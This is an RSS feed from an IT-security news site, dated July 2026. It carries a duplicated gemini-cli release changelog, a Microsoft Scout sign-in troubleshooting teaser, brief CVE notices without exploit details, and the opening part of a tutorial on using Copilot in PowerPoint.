<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="/rss-style.xsl"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=cmo+solucionar+error+permisos%2F]]></link>
<description><![CDATA[Das Gesamte Cyber Threat Intelligence Feed-Archiv von TSecurity.de. Alle Nachrichten, Sicherheitsmeldungen, Videos, Downloads und Analysen in einer zentralen Übersicht.]]></description>
<language>de-DE</language>
<lastBuildDate>Thu, 30 Jul 2026 21:36:56 +0200</lastBuildDate>
<pubDate>Thu, 30 Jul 2026 21:36:56 +0200</pubDate>
<ttl>15</ttl>
<copyright>2026 Team IT Security</copyright>
<managingEditor>lakandor@tsecurity.de (Horus Sirius)</managingEditor>
<webMaster>lakandor@tsecurity.de (Horus Sirius)</webMaster>
<category>IT Security</category>
<category>Cybersecurity</category>
<category>Nachrichten</category>
<generator>Team IT Security RSS Generator v2.0</generator>
<image>
<url>https://tsecurity.de/favicon.ico</url>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=cmo+solucionar+error+permisos%2F]]></link>
</image>
<atom:link href="https://tsecurity.de/export/rss/it-security.xml?q=cmo+solucionar+error+permisos%2F" rel="self" type="application/rss+xml" />
<item>
<title><![CDATA[GitHub: Release v0.54.0-nightly.20260726.g3818efbbf]]></title>
<description><![CDATA[What's Changed

Changelog for v0.53.0-preview.0 by @gemini-cli-robot in #28507
Changelog for v0.52.0 by @gemini-cli-robot in #28508
chore(release): bump version to 0.54.0-nightly.20260722.gf743ab579 by @gemini-cli-robot in #28510
fix(caretaker): sanitize and wrap issue title in untrusted_context ...]]></description>
<link>https://tsecurity.de/de/3695126/downloads/github-release-v0540-nightly20260726g3818efbbf/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695126/downloads/github-release-v0540-nightly20260726g3818efbbf/</guid>
<pubDate>Sun, 26 Jul 2026 06:37:53 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="github-feed-entry"><h2>What's Changed</h2>
<ul>
<li>Changelog for v0.53.0-preview.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4952788888" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28507" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28507/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28507">#28507</a></li>
<li>Changelog for v0.52.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4953096720" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28508" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28508/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28508">#28508</a></li>
<li>chore(release): bump version to 0.54.0-nightly.20260722.gf743ab579 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4953713055" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28510" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28510/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28510">#28510</a></li>
<li>fix(caretaker): sanitize and wrap issue title in untrusted_context by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4857767048" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28352" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28352/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28352">#28352</a></li>
<li>chore(caretaker): update vitest to v3.2.4 and add package-lock.json files by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4895099126" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28409" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28409/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28409">#28409</a></li>
<li>fix(core): rotate session ID on model fallback to prevent stateful API errors by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4933261007" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28469" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28469/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28469">#28469</a></li>
<li>feat(caretaker-triage): post comment before auto-closing issues by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4897179697" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28411" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28411/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28411">#28411</a></li>
<li>fix(core): enforce HTTPS for GoogleCredentialsAuthProvider to prevent cleartext leakage by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4961806001" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28517" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28517/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28517">#28517</a></li>
<li>fix(core): filter out thought parts from getHistoryTurns when context management is disabled by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidAPierce/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidAPierce">@DavidAPierce</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4953685047" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28509" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28509/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28509">#28509</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google-gemini/gemini-cli/compare/v0.52.0-nightly.20260723.g9681621c6...v0.54.0-nightly.20260726.g3818efbbf">v0.52.0-nightly.20260723.g9681621c6...v0.54.0-nightly.20260726.g3818efbbf</a></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[GitHub: Release v0.54.0-nightly.20260726.g3818efbbf]]></title>
<description><![CDATA[What's Changed

Changelog for v0.53.0-preview.0 by @gemini-cli-robot in #28507
Changelog for v0.52.0 by @gemini-cli-robot in #28508
chore(release): bump version to 0.54.0-nightly.20260722.gf743ab579 by @gemini-cli-robot in #28510
fix(caretaker): sanitize and wrap issue title in untrusted_context ...]]></description>
<link>https://tsecurity.de/de/3695127/downloads/github-release-v0540-nightly20260726g3818efbbf/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695127/downloads/github-release-v0540-nightly20260726g3818efbbf/</guid>
<pubDate>Sun, 26 Jul 2026 06:37:53 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="github-feed-entry"><h2>What's Changed</h2>
<ul>
<li>Changelog for v0.53.0-preview.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4952788888" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28507" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28507/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28507">#28507</a></li>
<li>Changelog for v0.52.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4953096720" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28508" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28508/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28508">#28508</a></li>
<li>chore(release): bump version to 0.54.0-nightly.20260722.gf743ab579 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4953713055" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28510" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28510/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28510">#28510</a></li>
<li>fix(caretaker): sanitize and wrap issue title in untrusted_context by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4857767048" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28352" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28352/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28352">#28352</a></li>
<li>chore(caretaker): update vitest to v3.2.4 and add package-lock.json files by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4895099126" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28409" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28409/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28409">#28409</a></li>
<li>fix(core): rotate session ID on model fallback to prevent stateful API errors by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4933261007" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28469" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28469/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28469">#28469</a></li>
<li>feat(caretaker-triage): post comment before auto-closing issues by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4897179697" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28411" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28411/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28411">#28411</a></li>
<li>fix(core): enforce HTTPS for GoogleCredentialsAuthProvider to prevent cleartext leakage by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4961806001" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28517" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28517/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28517">#28517</a></li>
<li>fix(core): filter out thought parts from getHistoryTurns when context management is disabled by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidAPierce/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidAPierce">@DavidAPierce</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4953685047" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28509" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28509/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28509">#28509</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google-gemini/gemini-cli/compare/v0.52.0-nightly.20260723.g9681621c6...v0.54.0-nightly.20260726.g3818efbbf">v0.52.0-nightly.20260723.g9681621c6...v0.54.0-nightly.20260726.g3818efbbf</a></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[GitHub Code Expired Sign-In Loop in Microsoft Scout [Fix]]]></title>
<description><![CDATA[Microsoft Scout is Microsoft’s latest agentic tool, offering an always-on way to automate workflows across Microsoft 365 and your local environment. However, when signing in to this tool, several users have reported the “GitHub code expired” sign-in loop error. Since Scout requires a GitHub Copil...]]></description>
<link>https://tsecurity.de/de/3695122/windows-tipps/github-code-expired-sign-in-loop-in-microsoft-scout-fix/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695122/windows-tipps/github-code-expired-sign-in-loop-in-microsoft-scout-fix/</guid>
<pubDate>Sun, 26 Jul 2026 06:36:54 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="700" height="394" src="https://www.thewindowsclub.com/wp-content/uploads/2026/07/How-to-Fix-the-GitHub-Code-Expired-Sign-In-Loop-in-Microsoft-Scout.jpg" class="attachment-full size-full wp-post-image" alt="How to Fix the GitHub Code Expired Sign-In Loop in Microsoft Scout" decoding="async" fetchpriority="high" srcset="https://www.thewindowsclub.com/wp-content/uploads/2026/07/How-to-Fix-the-GitHub-Code-Expired-Sign-In-Loop-in-Microsoft-Scout.jpg 700w, https://www.thewindowsclub.com/wp-content/uploads/2026/07/How-to-Fix-the-GitHub-Code-Expired-Sign-In-Loop-in-Microsoft-Scout-500x281.jpg 500w, https://www.thewindowsclub.com/wp-content/uploads/2026/07/How-to-Fix-the-GitHub-Code-Expired-Sign-In-Loop-in-Microsoft-Scout-300x169.jpg 300w" sizes="(max-width: 700px) 100vw, 700px">Microsoft Scout is Microsoft’s latest agentic tool, offering an always-on way to automate workflows across Microsoft 365 and your local environment. However, when signing in to this tool, several users have reported the “GitHub code expired” sign-in loop error. Since Scout requires a GitHub Copilot Business or Enterprise license linked to your account, this error becomes […]</p>
<p>This article <a href="https://www.thewindowsclub.com/github-code-expired-sign-in-loop-in-microsoft-scout">GitHub Code Expired Sign-In Loop in Microsoft Scout [Fix]</a> first appeared on <a href="https://www.thewindowsclub.com/">TheWindowsClub.com</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-64514 | Linux Kernel up to 7.1.3 userfaultfd userfaultfd_must_wait/userfaultfd_huge_must_wait encoding error (EUVD-2026-48858)]]></title>
<description><![CDATA[A vulnerability was found in Linux Kernel up to 7.1.3. It has been declared as very critical. The affected element is the function userfaultfd_must_wait/userfaultfd_huge_must_wait of the component userfaultfd. Such manipulation leads to encoding error.

This vulnerability is uniquely identified a...]]></description>
<link>https://tsecurity.de/de/3695114/sicherheitsluecken/cve-2026-64514-linux-kernel-up-to-713-userfaultfd-userfaultfdmustwaituserfaultfdhugemustwait-encoding-error-euvd-2026-48858/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695114/sicherheitsluecken/cve-2026-64514-linux-kernel-up-to-713-userfaultfd-userfaultfdmustwaituserfaultfdhugemustwait-encoding-error-euvd-2026-48858/</guid>
<pubDate>Sun, 26 Jul 2026 06:36:22 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/linux:kernel">Linux Kernel up to 7.1.3</a>. It has been declared as <a href="https://vuldb.com/kb/risk">very critical</a>. The affected element is the function <code>userfaultfd_must_wait/userfaultfd_huge_must_wait</code> of the component <em>userfaultfd</em>. Such manipulation leads to encoding error.

This vulnerability is uniquely identified as <a href="https://vuldb.com/cve/CVE-2026-64514">CVE-2026-64514</a>. The attack can be launched remotely. No exploit exists.

It is recommended to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-30521 | SourceCodester Loan Management System 1.0 Frontend Interface interest_percentage logic error]]></title>
<description><![CDATA[A vulnerability was found in SourceCodester Loan Management System 1.0. It has been rated as critical. Affected by this issue is some unknown functionality of the component Frontend Interface. This manipulation of the argument interest_percentage causes business logic errors.

This vulnerability ...]]></description>
<link>https://tsecurity.de/de/3694945/sicherheitsluecken/cve-2026-30521-sourcecodester-loan-management-system-10-frontend-interface-interestpercentage-logic-error/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694945/sicherheitsluecken/cve-2026-30521-sourcecodester-loan-management-system-10-frontend-interface-interestpercentage-logic-error/</guid>
<pubDate>Sat, 25 Jul 2026 22:49:12 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/sourcecodester:loan_management_system">SourceCodester Loan Management System 1.0</a>. It has been rated as <a href="https://vuldb.com/kb/risk">critical</a>. Affected by this issue is some unknown functionality of the component <em>Frontend Interface</em>. This manipulation of the argument <em>interest_percentage</em> causes business logic errors.

This vulnerability is tracked as <a href="https://vuldb.com/cve/CVE-2026-30521">CVE-2026-30521</a>. The attack is possible to be carried out remotely. No exploit exists.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-34359 | hapifhir org.hl7.fhir.core up to 6.9.3 getServer origin validation (GHSA-fgv2-4q4g-wc35)]]></title>
<description><![CDATA[A vulnerability described as problematic has been identified in hapifhir org.hl7.fhir.core up to 6.9.3. This affects the function getServer. The manipulation results in origin validation error.

This vulnerability is known as CVE-2026-34359. It is possible to launch the attack remotely. No exploi...]]></description>
<link>https://tsecurity.de/de/3694866/sicherheitsluecken/cve-2026-34359-hapifhir-orghl7fhircore-up-to-693-getserver-origin-validation-ghsa-fgv2-4q4g-wc35/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694866/sicherheitsluecken/cve-2026-34359-hapifhir-orghl7fhircore-up-to-693-getserver-origin-validation-ghsa-fgv2-4q4g-wc35/</guid>
<pubDate>Sat, 25 Jul 2026 21:21:43 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability described as <a href="https://vuldb.com/kb/risk">problematic</a> has been identified in <a href="https://vuldb.com/product/hapifhir:org">hapifhir org.hl7.fhir.core up to 6.9.3</a>. This affects the function <code>getServer</code>. The manipulation results in origin validation error.

This vulnerability is known as <a href="https://vuldb.com/cve/CVE-2026-34359">CVE-2026-34359</a>. It is possible to launch the attack remotely. No exploit is available.

Upgrading the affected component is recommended.]]></content:encoded>
</item>
<item>
<title><![CDATA[10 cool things Copilot can do in PowerPoint]]></title>
<description><![CDATA[Building a presentation can take lots of time. There are design choices to figure out: the slide layouts, fonts, theme colors, and so on. You can use a template to skip this hassle, but you still have to paste your text and other content into the slides and edit it all so that the results are vis...]]></description>
<link>https://tsecurity.de/de/3694773/ai-nachrichten/10-cool-things-copilot-can-do-in-powerpoint/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694773/ai-nachrichten/10-cool-things-copilot-can-do-in-powerpoint/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:10 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Building a presentation can take lots of time. There are design choices to figure out: the slide layouts, fonts, theme colors, and so on. You can use a template to skip this hassle, but you still have to paste your text and other content into the slides and edit it all so that the results are visually appealing.</p>



<p class="wp-block-paragraph">In PowerPoint, Microsoft’s Copilot AI assistant can now automate the heavy lifting of presentation creation. It can generate a first-draft presentation in minutes, then help you edit it. You can also prompt Copilot to help you quickly understand the contents of a presentation and glean insights from it. Use the tips in this guide to save oodles of time as you create and work with presentations.</p>



<h3 class="wp-block-heading">Who can use Copilot in PowerPoint</h3>



<p class="wp-block-paragraph">Individuals with a <a href="https://www.microsoft.com/en-us/microsoft-365-copilot/pricing/individuals" target="_blank" rel="noreferrer noopener">Microsoft 365 Personal, Family, or Premium</a> subscription have access to Copilot from within PowerPoint and other Microsoft 365 apps. Users with a Premium plan have <a href="https://support.microsoft.com/en-US/Microsoft-365-Copilot/ai-credits-and-limits-for-microsoft-365-subscriptions" target="_blank" rel="noreferrer noopener">higher Copilot usage allowances</a> and access to advanced AI features.</p>



<p class="wp-block-paragraph">For business users, it’s more complicated. Organizations with more than 2,000 users must pay for <a href="https://www.computerworld.com/article/1629974/m365-copilot-microsofts-generative-ai-tool-explained.html">Microsoft 365 Copilot</a> licenses for their users in addition to their regular Microsoft 365 licenses. Users at organizations with fewer than 2,000 users can use Copilot within M365 apps even without the M365 Copilot add-on licenses, but there are <a href="https://support.microsoft.com/en-us/microsoft-365-copilot/how-copilot-chat-works-with-and-without-a-microsoft-365-copilot-license" target="_blank" rel="noreferrer noopener">limitations</a> in usage, speed, and feature availability.</p>



<p class="wp-block-paragraph">To see what kind of access you have, log in to Microsoft’s <a href="https://m365.cloud.microsoft/" target="_blank" rel="noreferrer noopener">Copilot Chat web hub</a> and look for your name in the lower left corner. If you see “M365 Copilot (Premium)” under your name, you can use Copilot in M365 apps with priority access and advanced features. “M365 Copilot (Basic)” means you can use Copilot in M365 apps with lower-priority access and limited features. If you see “Copilot Chat (Basic)” or nothing below your name, you can’t use Copilot in M365 apps.</p>



<p class="wp-block-paragraph"><em>(Copilot Chat Basic users do get some Copilot functionality, including the ability to generate presentations, via the Copilot Chat hub. See our <a href="https://www.computerworld.com/article/4171293/copilot-chat-your-hub-for-document-creation-and-analysis.html">Copilot Chat tutorial</a> for details.)</em></p>



<h4 class="wp-block-heading"><strong>In this article:</strong></h4>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#sidebar">Working with Copilot in PowerPoint</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#template">Create a presentation template</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#pres-from-doc">Create a presentation from a document</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#slide-from-doc">Add content from a document to a slide</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#refine-text">Refine your slide text</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#image">Find or create an image</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#expand">Expand your presentation with relevant slides</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#summarize">Summarize a presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#answer-questions">Answer questions about a presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#navigate">Help you navigate a large presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#speaker-notes">Generate speaker notes and/or an FAQ</a></li>
</ul>



<h2 class="wp-block-heading">Working with Copilot in PowerPoint</h2>



<p class="wp-block-paragraph">First, let’s quickly go over the notable settings of the Copilot sidebar.</p>



<p class="wp-block-paragraph">When you have a presentation open in PowerPoint, click the Copilot icon; it may be floating at the lower-right corner of your PowerPoint window or parked at the right end of the Ribbon toolbar. The Copilot sidebar will open along the right of the page. You’ll type your prompts to Copilot inside the chat window in this pane.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-01-sidebar.png?w=1024" alt="powerpoint screen with copilot sidebar open on right" class="wp-image-4195065" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>The sidebar on the right is where you interact with Copilot in PowerPOint.</p><br></figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph"><strong>Agent mode:</strong> By default, Copilot can build a new presentation or make changes to an existing one in the main PowerPoint window. This is known as “agent mode.” To change this so that Copilot can’t take direct action on a presentation (all its responses appear in the sidebar), click the <em>Allow editing</em> button above the chat window and change it to <em>Chat only</em>.</p>



<p class="wp-block-paragraph">The tips in this guide require that Copilot be in agent mode, so make sure you see <em>Allow editing</em> above the chat window.</p>



<p class="wp-block-paragraph"><strong>Choice of AI model:</strong> Behind the scenes, Copilot has access to various genAI models, including different versions of Anthropic Claude and OpenAI GPT.  By default, it decides which model to use based on your prompt. You can set it to use a particular model: click <em>Auto</em> at the upper right of the Copilot pane and select a model from the dropdown that opens.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-02-sidebar-model-dropdown.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with models dropdown menu open" class="wp-image-4195063" width="1024" height="697" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>You can choose which AI model you want Copilot to use for a request.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">The tips in this guide should work fine on the default <em>Auto</em> setting. But feel free to experiment switching to specific models to see which give you the best results for particular tasks.</p>



<p class="wp-block-paragraph"><strong>Important:</strong> Remember that <a href="https://www.computerworld.com/article/4059383/openai-admits-ai-hallucinations-are-mathematically-inevitable-not-just-engineering-flaws.html">generative AI output often includes errors</a>, so always check Copilot’s output for accuracy. (Also see our <a href="https://www.computerworld.com/article/4067372/how-to-curb-hallucinations-in-copilot-and-other-genai-tools.html">tips for reducing hallucinations in Copilot</a>.) You’ll likely want to rewrite it in your own voice as you’re reviewing it.</p>



<h2 class="wp-block-heading"><a></a>1. Create a presentation template</h2>



<p class="wp-block-paragraph">For many people, the hardest part of creating a presentation is getting started. What types of information should be included on the slides, and in what order? Copilot can give you a leg up by creating the type of presentation you need, with placeholder data that you can later replace with your own.</p>



<p class="wp-block-paragraph">Start a new presentation, open the Copilot sidebar, and type your prompt into the chat window. It’s best to provide very specific details in your prompt. The more context or details you provide, the more likely Copilot will generate a presentation template that suits your needs.</p>



<p class="wp-block-paragraph">A good prompt should contain the slide count, subject, audience, and tone. Example:</p>



<ul class="wp-block-list">
<li><em>Create a 6-slide presentation for a sales meeting focusing on Q1 revenue. The audience is the sales team, so keep the tone professional and focused on the sales data.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot may ask a series of follow-up questions, such as your preferred visual style and desired level of detail. Then it will generate a presentation template.</p>


